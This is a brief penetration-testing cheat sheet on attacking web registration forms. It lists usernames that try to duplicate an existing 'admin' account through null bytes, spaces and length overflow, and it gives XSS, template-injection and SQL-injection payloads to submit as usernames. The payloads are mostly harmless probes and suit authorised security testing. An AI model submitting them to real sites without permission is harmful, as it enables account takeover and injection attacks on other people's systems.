Web Registration Attack

Last modified: 2023-09-19

Web

Registration mechanism might be vulnerable to compromise.

Register with the Same Username/Email Address as Existing User

We might be able to register the same username/email address as the existing user. It may affect the web server so be careful when testing.
Here are examples of username to register.

admin
administrator
root

Alternatively, it’s worth to try various approach to register.

# Insert null byte
admin%00

# Insert a space before username
 admin
%20admin

# Insert a space after username
admin 
admin%20

# Insert spaces around username
 admin 
%20admin%20

# Overflow (we need to find the longest characters that can be registered)
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxadmin



Malicious Usernames

XSS

We might be able to inject XSS in username when registration.

john<script>alert(1)</script>
john</span><script>alert(1)</script>

# Overflow character length
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<script>alert(1)</script>

SSTI

It’s worth to try SSTI payloads if the website uses frameworks/template engines such as Flask Pug, Angular, etc. Register username with the following SSTI.

{{2*3}}
{2*3}
${2*3}
2*3

{{ `<script>alert(1)</script>` }}
{% debug %}

SQLi

If website queries the database items using username, we might be able to inject SQL command in the username. Register username with the following SQLi.

test' or 1=1--
test' or '1'='1'--

test' union select null,null--
test' union select null,null,null--